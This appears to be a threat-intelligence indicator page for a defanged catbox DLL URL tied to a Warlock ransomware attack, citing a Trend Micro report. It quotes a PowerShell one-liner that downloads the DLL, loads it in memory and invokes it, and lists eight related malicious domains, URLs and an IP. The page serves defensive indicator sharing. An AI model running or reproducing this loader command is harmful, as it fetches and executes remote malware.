hxxps://files.catbox[.]moe/wzsjlw.dllURL
Reported by 1 independent source · first reported by Trend Micro Research · last reported
Last reported 7 months ago
What the reports say
1 report, newest first · the exact sentence from each-
Web Shells, Tunnels, and Ransomware: Dissecting a Warlock Attack“["[Reflection.Assembly]::Load((New-Object Net.WebClient).DownloadData('hxxps://files.catbox[.]moe/wzsjlw.dll')).EntryPoint.Invoke($null, (, [string[]] (\"4567\"))) "]”
Indicators reported together
named in the same reports- litter.catbox[.]moein 1 report
- code.translatevv[.]comin 1 report
- hxxps://vdfccjpnedujhrzscjtq.supabase[.]co/storage/v1/object/public/image/v4.msiin 1 report
- hxxps://litter.catbox[.]moe/zqqxb3.txtin 1 report
- hxxps://litter.catbox[.]moe/uaw2gm.txtin 1 report
- hxxp://127.0.0[.]1in 1 report
- 198.13.158[.]193in 1 report
- blnwx[.]comin 1 report
Copy these 8 indicators · defanged
Thanks — we review every report.